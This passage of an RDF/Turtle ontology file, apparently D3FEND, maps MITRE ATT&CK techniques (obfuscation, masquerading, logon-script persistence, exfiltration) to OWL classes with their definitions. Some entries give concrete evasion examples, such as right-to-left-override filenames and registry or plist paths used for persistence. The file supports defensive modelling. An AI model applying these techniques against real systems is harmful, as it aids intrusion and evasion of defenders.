    d3f:definition "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext." ;
    rdfs:comment "This technique has been revoked by T1573" ;
    rdfs:seeAlso d3f:T1573 ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1025 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data from Removable Media" ;
    d3f:accesses d3f:RemovableMediaDevice ;
    d3f:attack-id "T1025" ;
    d3f:definition "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:RemovableMediaDevice ],
        d3f:CollectionTechnique .

d3f:T1026 a owl:Class ;
    rdfs:label "Multiband Communication" ;
    d3f:attack-id "T1026" ;
    d3f:definition "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:comment "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1027.003 a owl:Class ;
    rdfs:label "Steganography" ;
    d3f:attack-id "T1027.003" ;
    d3f:definition "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files." ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "HTML Smuggling" ;
    d3f:attack-id "T1027.006" ;
    d3f:creates d3f:JavaScriptBlob ;
    d3f:definition "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)" ;
    d3f:hides d3f:DigitalArtifact ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hides ;
            owl:someValuesFrom d3f:DigitalArtifact ],
        [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:JavaScriptBlob ],
        d3f:T1027 .

d3f:T1027.007 a owl:Class ;
    rdfs:label "Dynamic API Resolution" ;
    d3f:attack-id "T1027.007" ;
    d3f:definition "Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts." ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.008 a owl:Class ;
    rdfs:label "Stripped Payloads" ;
    d3f:attack-id "T1027.008" ;
    d3f:definition "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)" ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.009 a owl:Class ;
    rdfs:label "Embedded Payloads" ;
    d3f:attack-id "T1027.009" ;
    d3f:definition "Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)" ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.010 a owl:Class ;
    rdfs:label "Command Obfuscation" ;
    d3f:attack-id "T1027.010" ;
    d3f:definition "Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)" ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.011 a owl:Class ;
    rdfs:label "Fileless Storage" ;
    d3f:attack-id "T1027.011" ;
    d3f:definition "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)" ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.012 a owl:Class ;
    rdfs:label "LNK Icon Smuggling" ;
    d3f:attack-id "T1027.012" ;
    d3f:definition "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory." ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.013 a owl:Class ;
    rdfs:label "Encrypted/Encoded File" ;
    d3f:attack-id "T1027.013" ;
    d3f:definition "Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use." ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.014 a owl:Class ;
    rdfs:label "Polymorphic Code" ;
    d3f:attack-id "T1027.014" ;
    d3f:definition "Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution.(Citation: polymorphic-blackberry) With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.(Citation: polymorphic-sentinelone)" ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.015 a owl:Class ;
    rdfs:label "Compression" ;
    d3f:attack-id "T1027.015" ;
    d3f:definition "Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., [Fileless Storage](https://attack.mitre.org/techniques/T1027/011)).(Citation: Trustwave Pillowmint June 2020)" ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.016 a owl:Class ;
    rdfs:label "Junk Code Insertion" ;
    d3f:attack-id "T1027.016" ;
    d3f:definition "Adversaries may use junk code / dead code to obfuscate a malware’s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with [Compression](https://attack.mitre.org/techniques/T1027/015) or [Software Packing](https://attack.mitre.org/techniques/T1027/002).(Citation: ReasonLabs)(Citation: ReasonLabs Cyberpedia Junk Code)" ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1027.017 a owl:Class ;
    rdfs:label "SVG Smuggling" ;
    d3f:attack-id "T1027.017" ;
    d3f:definition "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.(Citation: Trustwave SVG Smuggling 2025) SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `<script>` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files." ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1028 a owl:Class ;
    rdfs:label "Windows Remote Management" ;
    d3f:attack-id "T1028" ;
    d3f:definition "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)" ;
    rdfs:comment "This technique has been revoked by T1021.006" ;
    rdfs:seeAlso d3f:T1021.006 ;
    rdfs:subClassOf d3f:ExecutionTechnique,
        d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1029 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Scheduled Transfer" ;
    d3f:attack-id "T1029" ;
    d3f:definition "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability." ;
    d3f:produces d3f:InternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InternetNetworkTraffic ],
        d3f:ExfiltrationTechnique .

d3f:T1030 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data Transfer Size Limits" ;
    d3f:attack-id "T1030" ;
    d3f:definition "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts." ;
    d3f:produces d3f:InternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InternetNetworkTraffic ],
        d3f:ExfiltrationTechnique .

d3f:T1031 a owl:Class ;
    rdfs:label "Modify Existing Service" ;
    d3f:attack-id "T1031" ;
    d3f:definition "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075)." ;
    rdfs:comment "This technique has been revoked by T1543.003" ;
    rdfs:seeAlso d3f:T1543.003 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1032 a owl:Class ;
    rdfs:label "Standard Cryptographic Protocol" ;
    d3f:attack-id "T1032" ;
    d3f:definition "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files." ;
    rdfs:comment "This technique has been revoked by T1573" ;
    rdfs:seeAlso d3f:T1573 ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1033 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Owner/User Discovery" ;
    d3f:attack-id "T1033" ;
    d3f:definition "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." ;
    d3f:may-access d3f:DirectoryService,
        d3f:GetSystemConfigValue,
        d3f:PasswordFile,
        d3f:ProcessSegment ;
    d3f:may-invoke d3f:CopyToken,
        d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:ProcessSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:GetSystemConfigValue ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:DirectoryService ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CopyToken ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:PasswordFile ],
        d3f:DiscoveryTechnique .

d3f:T1034 a owl:Class ;
    rdfs:label "Path Interception" ;
    d3f:attack-id "T1034" ;
    d3f:definition "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**" ;
    rdfs:comment "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**" ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1035 a owl:Class ;
    rdfs:label "Service Execution" ;
    d3f:attack-id "T1035" ;
    d3f:definition "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation." ;
    rdfs:comment "This technique has been revoked by T1569.002" ;
    rdfs:seeAlso d3f:T1569.002 ;
    rdfs:subClassOf d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1036.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Invalid Code Signature" ;
    d3f:attack-id "T1036.001" ;
    d3f:creates d3f:ExecutableBinary ;
    d3f:definition "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ExecutableBinary ],
        d3f:T1036 .

d3f:T1036.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Right-to-Left Override" ;
    d3f:attack-id "T1036.002" ;
    d3f:definition "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)" ;
    d3f:modifies d3f:FileSystemMetadata ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:FileSystemMetadata ],
        d3f:T1036 .

d3f:T1036.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Rename Legitimate Utilities" ;
    d3f:attack-id "T1036.003" ;
    d3f:definition "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)" ;
    d3f:may-create d3f:ExecutableFile ;
    d3f:may-modify d3f:OperatingSystemExecutableFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:ExecutableFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:OperatingSystemExecutableFile ],
        d3f:T1036 .

d3f:T1036.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Masquerade Task or Service" ;
    d3f:attack-id "T1036.004" ;
    d3f:definition "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones." ;
    d3f:modifies d3f:JobSchedule ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:JobSchedule ],
        d3f:T1036 .

d3f:T1036.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Match Legitimate Resource Name or Location" ;
    d3f:attack-id "T1036.005" ;
    d3f:definition "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous." ;
    d3f:invokes d3f:MoveFile ;
    d3f:may-create d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:MoveFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:File ],
        d3f:T1036 .

d3f:T1036.007 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Double File Extension" ;
    d3f:attack-id "T1036.007" ;
    d3f:definition "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)" ;
    d3f:modifies d3f:FileSystemMetadata ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:FileSystemMetadata ],
        d3f:T1036 .

d3f:T1036.008 a owl:Class ;
    rdfs:label "Masquerade File Type" ;
    d3f:attack-id "T1036.008" ;
    d3f:definition "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`." ;
    rdfs:subClassOf d3f:T1036 .

d3f:T1036.009 a owl:Class ;
    rdfs:label "Break Process Trees" ;
    d3f:attack-id "T1036.009" ;
    d3f:definition "An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022)" ;
    rdfs:subClassOf d3f:T1036 .

d3f:T1036.010 a owl:Class ;
    rdfs:label "Masquerade Account Name" ;
    d3f:attack-id "T1036.010" ;
    d3f:definition "Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during [Create Account](https://attack.mitre.org/techniques/T1136), although accounts may also be renamed at a later date. This may also coincide with [Account Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023)" ;
    rdfs:subClassOf d3f:T1036 .

d3f:T1036.011 a owl:Class ;
    rdfs:label "Overwrite Process Arguments" ;
    d3f:attack-id "T1036.011" ;
    d3f:definition "Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process’s stack and passes them to the `main()` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc/<PID>/cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges." ;
    rdfs:subClassOf d3f:T1036 .

d3f:T1037.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Logon Script (Windows)" ;
    d3f:attack-id "T1037.001" ;
    d3f:definition "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)" ;
    d3f:modifies d3f:UserInitScript ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:UserInitScript ],
        d3f:T1037 .

d3f:T1037.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Login Hook" ;
    d3f:attack-id "T1037.002" ;
    d3f:definition "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)" ;
    d3f:modifies d3f:UserInitScript ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:UserInitScript ],
        d3f:T1037 .

d3f:T1037.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Logon Script" ;
    d3f:attack-id "T1037.003" ;
    d3f:definition "Group Policy Object / Active Directory Users and Computers are both Active Directory-based." ;
    d3f:modifies d3f:NetworkInitScriptFileResource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:NetworkInitScriptFileResource ],
        d3f:T1037 .

d3f:T1038 a owl:Class ;
    rdfs:label "DLL Search Order Hijacking" ;
    d3f:attack-id "T1038" ;
    d3f:definition "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence." ;
    rdfs:comment "This technique has been revoked by T1574.001" ;
    rdfs:seeAlso d3f:T1574.001 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1039 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data from Network Shared Drive" ;
    d3f:accesses d3f:NetworkFileShareResource ;
    d3f:attack-id "T1039" ;
    d3f:definition "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:NetworkFileShareResource ],
        d3f:CollectionTechnique .

d3f:T1040 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Sniffing" ;
    d3f:attack-id "T1040" ;
    d3f:definition "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data." ;
    d3f:may-produce d3f:DNSLookup ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:DNSLookup ],
        d3f:CredentialAccessTechnique,
        d3f:DiscoveryTechnique .

d3f:T1041 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration Over C2 Channel" ;
    d3f:attack-id "T1041" ;
    d3f:definition "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications." ;
    d3f:may-transfer d3f:CertificateFile ;
    d3f:produces d3f:InternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InternetNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-transfer ;
            owl:someValuesFrom d3f:CertificateFile ],
        d3f:ExfiltrationTechnique .

d3f:T1042 a owl:Class ;
    rdfs:label "Change Default File Association" ;
    d3f:attack-id "T1042" ;
    d3f:definition "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened." ;
    rdfs:comment "This technique has been revoked by T1546.001" ;
    rdfs:seeAlso d3f:T1546.001 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1043 a owl:Class ;
    rdfs:label "Commonly Used Port" ;
    d3f:attack-id "T1043" ;
    d3f:definition "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**" ;
    rdfs:comment "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**" ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1044 a owl:Class ;
    rdfs:label "File System Permissions Weakness" ;
    d3f:attack-id "T1044" ;
    d3f:definition "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM." ;
    rdfs:comment "This technique has been revoked by T1574.010" ;
    rdfs:seeAlso d3f:T1574.010 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1045 a owl:Class ;
    rdfs:label "Software Packing" ;
    d3f:attack-id "T1045" ;
    d3f:definition "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory." ;
    rdfs:comment "This technique has been revoked by T1027.002" ;
    rdfs:seeAlso d3f:T1027.002 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1046 a owl:Class ;
    rdfs:label "Network Service Discovery" ;
    d3f:attack-id "T1046" ;
    d3f:definition "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)" ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1047 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows Management Instrumentation" ;
    d3f:attack-id "T1047" ;
    d3f:definition "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components." ;
    d3f:may-create d3f:IntranetAdministrativeNetworkTraffic ;
    d3f:may-invoke d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:IntranetAdministrativeNetworkTraffic ],
        d3f:ExecutionTechnique .

d3f:T1048.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration Over Symmetric Encrypted Non-C2 Protocol" ;
    d3f:attack-id "T1048.001" ;
    d3f:definition "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server." ;
    d3f:produces d3f:OutboundInternetEncryptedTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetEncryptedTraffic ],
        d3f:T1048 .

d3f:T1048.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol" ;
    d3f:attack-id "T1048.002" ;
    d3f:definition "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server." ;
    d3f:may-transfer d3f:CertificateFile ;
    d3f:produces d3f:OutboundInternetEncryptedTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetEncryptedTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-transfer ;
